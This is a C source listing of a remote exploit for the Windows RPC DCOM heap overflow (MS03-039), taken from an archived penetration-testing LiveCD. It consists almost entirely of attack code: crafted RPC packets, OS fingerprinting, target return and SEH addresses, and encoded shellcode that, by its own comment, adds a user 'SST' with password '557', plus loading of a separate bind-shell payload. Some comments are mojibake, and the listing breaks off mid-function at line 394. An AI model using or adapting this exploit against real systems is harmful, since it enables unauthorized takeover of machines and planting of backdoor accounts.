home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / rpcdcom3.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  21KB  |  598 lines

  1. /*  Windows RPC2 Universal Exploit (MS03-039) & Remote DoS (RPC3)  */
  2. /*                    Must be used with the associated shell                        */
  3. /*                                                                                                  */
  4. /*           This exploit works against unpatched systems (MS03-039)     */
  5. /*             And cause a Denial of Service on patched systems (rpc3)     */
  6.  
  7.  
  8. #include <stdio.h> 
  9. #include <winsock2.h> 
  10. #include <windows.h> 
  11. #include <process.h> 
  12. #include <string.h> 
  13. #include <winbase.h> 
  14.  
  15. FILE *fp1; 
  16. unsigned char bindstr[]={ 
  17. 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 
  18. 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 
  19. 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 
  20. 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 
  21. 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; 
  22.  
  23. unsigned char request1[]={ 
  24. 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 
  25. ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 
  26. ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 
  27. ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 
  28. ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E 
  29. ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D 
  30. ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 
  31. ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 
  32. ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 
  33. ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 
  34. ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 
  35. ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 
  36. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 
  37. ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 
  38. ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  39. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 
  40. ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 
  41. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 
  42. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 
  43. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 
  44. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 
  45. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 
  46. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 
  47. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 
  48. ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 
  49. ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 
  50. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF 
  51. ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  52. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  53. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  54. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  55. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 
  56. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 
  57. ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 
  58. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 
  59. ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 
  60. ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 
  61. ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 
  62. ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  63. ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 
  64. ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 
  65. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 
  66. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 
  67. ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E 
  68. ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 
  69. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  70. ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 
  71. ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 
  72. ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  73. ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 
  74. ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 
  75. ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  76. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 
  77. ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 
  78. ,0x00,0x00,0x00,0x00,0x00,0x00}; 
  79.  
  80. unsigned char request2[]={ 
  81. 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 
  82. ,0x00,0x00,0x5C,0x00,0x5C,0x00}; 
  83.  
  84. unsigned char request3[]={ 
  85. 0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00, 
  86. 0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 
  87. ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 
  88. ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 
  89. ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 
  90.  
  91.  
  92. unsigned char request4[]={ 
  93. 0x01,0x10 
  94. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 
  95. ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C 
  96. ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 
  97. }; 
  98. void XOR(unsigned char *buf,int offset,int lenght,unsigned char mask) 
  99. for(int i=offset;i<(offset+lenght);i++) 
  100. buf[i]=buf[i]^mask; 
  101. DWORD GETSTRCS(char *buf) 
  102. DWORD cs=0; 
  103. bool cld=false; 
  104. for(unsigned int i=0;i<strlen(buf);i++) 
  105. for(int z=0;z<13;z++) 
  106. if(cs&1) cld=true; 
  107. cs=cs>>1; 
  108. if(cld) cs=cs|0x80000000; 
  109. cld=false; 
  110. cs+=buf[i]; 
  111. return cs; 
  112.  
  113. struct { 
  114. DWORD seh; 
  115. DWORD jmp; 
  116. DWORD heap; 
  117. char target[200]; 
  118. } target_os[]= 
  119. 0x005Bfd2c, 
  120. 0x00081eeb, 
  121. 0x00180000, 
  122. "WinXP" 
  123. }, 
  124. 0x0095fd3c, 
  125. 0x00081eeb, 
  126. 0x00170000, 
  127. "Win2K" 
  128. },v; 
  129. unsigned char rawData1[]= 
  130. "\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00" 
  131. "\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00" 
  132.  
  133. "\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e" 
  134. "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" 
  135. "\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" 
  136. "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2" 
  137.  
  138. //SHELLCODE From SAM ,THANKs ! 
  139. //Add user SST,password is 557, 
  140. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA" 
  141. "\xEB\x05\xE8\xEB\xFF\xFF\xFF" 
  142.  
  143. "\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D" 
  144. "\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C" 
  145. "\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99" 
  146. "\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9" 
  147. "\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6" 
  148. "\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED" 
  149. "\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE" 
  150. "\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12" 
  151. "\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED" 
  152. "\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA" 
  153. "\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB" 
  154. "\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66" 
  155. "\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81" 
  156. "\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A" 
  157. "\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3" 
  158. "\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78" 
  159. "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D" 
  160. "\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99" 
  161. "\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12" 
  162. "\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99" 
  163. "\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66" 
  164.  
  165. "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" 
  166. "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" 
  167. "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" 
  168. "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" 
  169. "\x7f\x19\x95\xd5\x17\x53\xe6\x6a" 
  170. "\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" 
  171. "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" // 
  172. "\x90\x90\x90\x90\x90\x90\x90\x90" 
  173. "\x77\xe0\x43\x00\x00\x10\x5c\x00" 
  174. "\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26 
  175. "\x4C\x14\xec\x77"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os 
  176.  
  177.  
  178. //FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic 
  179. //"Utilization of released heap structure and exploit of universal Heap overflow in windows ". 
  180. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA" 
  181. "\xEB\x05\xE8\xEB\xFF\xFF\xFF" 
  182. "\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14" 
  183. "\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA" 
  184. "\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF" 
  185. "\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99" 
  186. "\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1" 
  187. "\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7" 
  188. "\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99" 
  189. "\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA" 
  190. "\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9" 
  191. "\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1" 
  192. "\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8" 
  193. "\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99" 
  194. "\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9" 
  195. "\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99" 
  196. "\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12" 
  197. "\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98" 
  198. "\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99" 
  199. "\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12" 
  200. "\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12" 
  201. "\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA" 
  202. "\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD" 
  203. "\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A" 
  204. "\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2" 
  205. "\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12" 
  206. "\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31" 
  207. "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66" 
  208.  
  209. "\x04\x04\x00\x70\x00\x04\x40" 
  210. "\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00" 
  211.  
  212. "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71"; 
  213.  
  214.  
  215. int version(char ip[16], int sock) 
  216. //un poco de ettercap... 
  217.  
  218.  
  219. unsigned char peer0_0[] = { 
  220. 0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 
  221. 0xcc, 0x00, 0x00, 0x00, 0x84, 0x67, 0xbe, 0x18, 
  222. 0x31, 0x14, 0x5c, 0x16, 0x00, 0x00, 0x00, 0x00, 
  223. 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 
  224. 0xb8, 0x4a, 0x9f, 0x4d, 0x1c, 0x7d, 0xcf, 0x11, 
  225. 0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57, 
  226. 0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 
  227. 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 
  228. 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00, 
  229. 0x02, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00, 
  230. 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 
  231. 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 
  232. 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 
  233. 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 
  234. 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00, 
  235. 0x0a, 0x42, 0x24, 0x0a, 0x00, 0x17, 0x21, 0x41, 
  236. 0x2e, 0x48, 0x01, 0x1d, 0x13, 0x0b, 0x04, 0x4d, 
  237. 0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 
  238. 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 
  239. 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00, 
  240. 0x04, 0x00, 0x01, 0x00, 0xb0, 0x01, 0x52, 0x97, 
  241. 0xca, 0x59, 0xcf, 0x11, 0xa8, 0xd5, 0x00, 0xa0, 
  242. 0xc9, 0x0d, 0x80, 0x51, 0x00, 0x00, 0x00, 0x00, 
  243. 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 
  244. 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 
  245. 0x02, 0x00, 0x00, 0x00 }; 
  246.  
  247.  
  248. unsigned char peer0_1[] = { 
  249. 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 
  250. 0xaa, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 
  251. 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
  252. 0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 
  253. 0x00, 0x00, 0x00, 0x00, 0x28, 0x63, 0x29, 0x20, 
  254. 0x75, 0x65, 0x72, 0x84, 0x20, 0x73, 0x73, 0x53, 
  255. 0x20, 0x82, 0x80, 0x67, 0x00, 0x00, 0x00, 0x00, 
  256. 0x80, 0x1d, 0x94, 0x5e, 0x96, 0xbf, 0xcd, 0x11, 
  257. 0xb5, 0x79, 0x08, 0x00, 0x2b, 0x30, 0xbf, 0xeb, 
  258. 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 
  259. 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 
  260. 0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00, 
  261. 0x41, 0x00, 0x41, 0x00, 0x5c, 0x00, 0x43, 0x00, 
  262. 0x24, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x2e, 0x00, 
  263. 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x00, 0x00, 
  264. 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 
  265. 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 
  266. 0x58, 0x73, 0x0b, 0x00, 0x01, 0x00, 0x00, 0x00, 
  267. 0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  268. 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 
  269. 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
  270. 0x07, 0x00 }; 
  271.  
  272. /* 
  273.  
  274. unsigned char win2kvuln[] = { 
  275. 0x04, 0x00, 0x00, 0x00, 
  276. 0x00, 0x00, 0x00, 0x00, 
  277. 0x04, 0x5d, 0x88, 0x8a, 
  278. 0xeb, 0x1c, 0xc9, 0x11, 
  279. 0x9f, 0xe8, 0x08, 0x00, 
  280. 0x2b, 0x10, 0x48, 0x60, 
  281. 0x02, 0x00, 0x00, 0x00, 
  282. 0x00, 0x00, 0x00, 0x00, 
  283. 0x04, 0x5d, 0x88, 0x8a, 
  284. 0xeb, 0x1c, 0xc9, 0x11, 
  285. 0x9f, 0xe8, 0x08, 0x00, 
  286. 0x2b, 0x10, 0x48, 0x60, 
  287. 0x02, 0x00, 0x00, 0x00}; 
  288. */ 
  289. fd_set fds2; 
  290. unsigned char buf[1024]; 
  291.  
  292. int l; 
  293. struct timeval tv2; 
  294. FD_ZERO(&fds2); 
  295. FD_SET(sock, &fds2); 
  296. tv2.tv_sec = 6; 
  297. tv2.tv_usec = 0; 
  298.  
  299. memset(buf,'\0',sizeof(buf)); 
  300. send(sock,(char *)peer0_0,sizeof(peer0_0),0); 
  301. if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0) 
  302. l=recv (sock, (char *)buf, sizeof (buf),0); 
  303. // for(i=0;i<52;i++) 
  304. // { 
  305. // if (i==28) i=i+4; 
  306. // if (buf[i+32]!=win2kvuln) 
  307. // { 
  308. send(sock,(const char *)peer0_1,sizeof(peer0_1),0); 
  309. if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0) 
  310. memset(buf,'\0',sizeof(buf)); 
  311. l=recv (sock, (char *)buf, sizeof (buf),0); 
  312. if (l==32) 
  313. closesocket(sock); 
  314. return(1);//winxp 
  315. else 
  316. #ifdef WIN32 
  317. closesocket(sock); 
  318. #else 
  319. close(sock); 
  320. #endif 
  321. return(0);//win2kby default. Nt4 not added.. 
  322. else return(-1); 
  323. // } 
  324.  
  325.  
  326. //} 
  327. // closesocket(sock); 
  328. // return(0);//win2k 
  329. closesocket(sock); 
  330. return(-1); //Unknown 
  331. /********************************************************************************/ 
  332. int attack(char *ip1,bool atack) 
  333. unsigned char rawData[1036]; 
  334. memcpy(rawData,rawData1,1036); 
  335. unsigned char shellcode[50000]; 
  336. char ip[200]; 
  337. strcpy(ip,ip1); 
  338. WSADATA WSAData; 
  339. SOCKET sock; 
  340. int len,len1; 
  341. SOCKADDR_IN addr_in; 
  342. short port=135; 
  343. unsigned char buf1[50000]; 
  344. unsigned char buf2[50000]; 
  345.  
  346. printf("%s\n",ip); 
  347. //printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n"); 
  348. //printf("Code by FlashSky,Flashsky xfocus org\n"); 
  349. //printf("Welcome to our Site: http://www.xfocus.org\n"); 
  350. //printf("Welcome to our Site: http://www.venustech.com.cn\n"); 
  351. /* if(argc!=3) 
  352. printf("%s targetIP targetOS\ntargets:\n",argv[0]); 
  353. for(int i=0;i<sizeof(target_os)/sizeof(v);i++) 
  354. printf("%d - %s\n",i,target_os.target); 
  355. printf("\n%x\n",GETSTRCS(argv[1])); 
  356. return; 
  357. */ 
  358. /* if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) 
  359. printf("WSAStartup error.Error:%d\n",WSAGetLastError()); 
  360. return; 
  361. */ 
  362. addr_in.sin_family=AF_INET; 
  363. addr_in.sin_port=htons(port); 
  364. addr_in.sin_addr.S_un.S_addr=inet_addr(ip); 
  365.  
  366. if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) 
  367. printf("Socket failed.Error:%d\n",WSAGetLastError()); 
  368. return 0; 
  369. len1=sizeof(request1); 
  370.  
  371. len=sizeof(rawData); 
  372.  
  373. if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) 
  374. printf("%s - connect failed\n",ip); 
  375. return 0; 
  376.  
  377. int vers=!version(ip,sock); 
  378.  
  379. // printf("%d\n",vers); 
  380. // return; 
  381. // int vers=1; 
  382.  
  383. FILE *fp; 
  384.  
  385. //∩┐╜∩┐╜∩┐╜ φѼ ∩┐╜ φ¬Ñ∩┐╜ 
  386. // fp=fopen("shellcode","rb"); 
  387. // fread(rawData,1,1036,fp); 
  388. // fclose(fp); 
  389. //ΓÑ»∩┐╜∩┐╜∩┐╜ ∩┐╜πª¡∩┐╜ ∩┐╜∩┐╜∩┐╜∩┐╜∩┐╜ ∩┐╜∩┐╜ φ¡Ñφ»«∩┐╜αÑñ∩┐╜ΓóÑφ¡¡∩┐╜ ∩┐╜ß»«φ½¡∩Ѽ∩┐╜∩┐╜ Φѽφ½¬φ«ñ! 
  390.  
  391. fp=fopen("bshell2","rb"); 
  392. int sz=fread(shellcode,1,1024,fp); 
  393. fclose(fp); 
  394. // printf("%d\n",sz); 
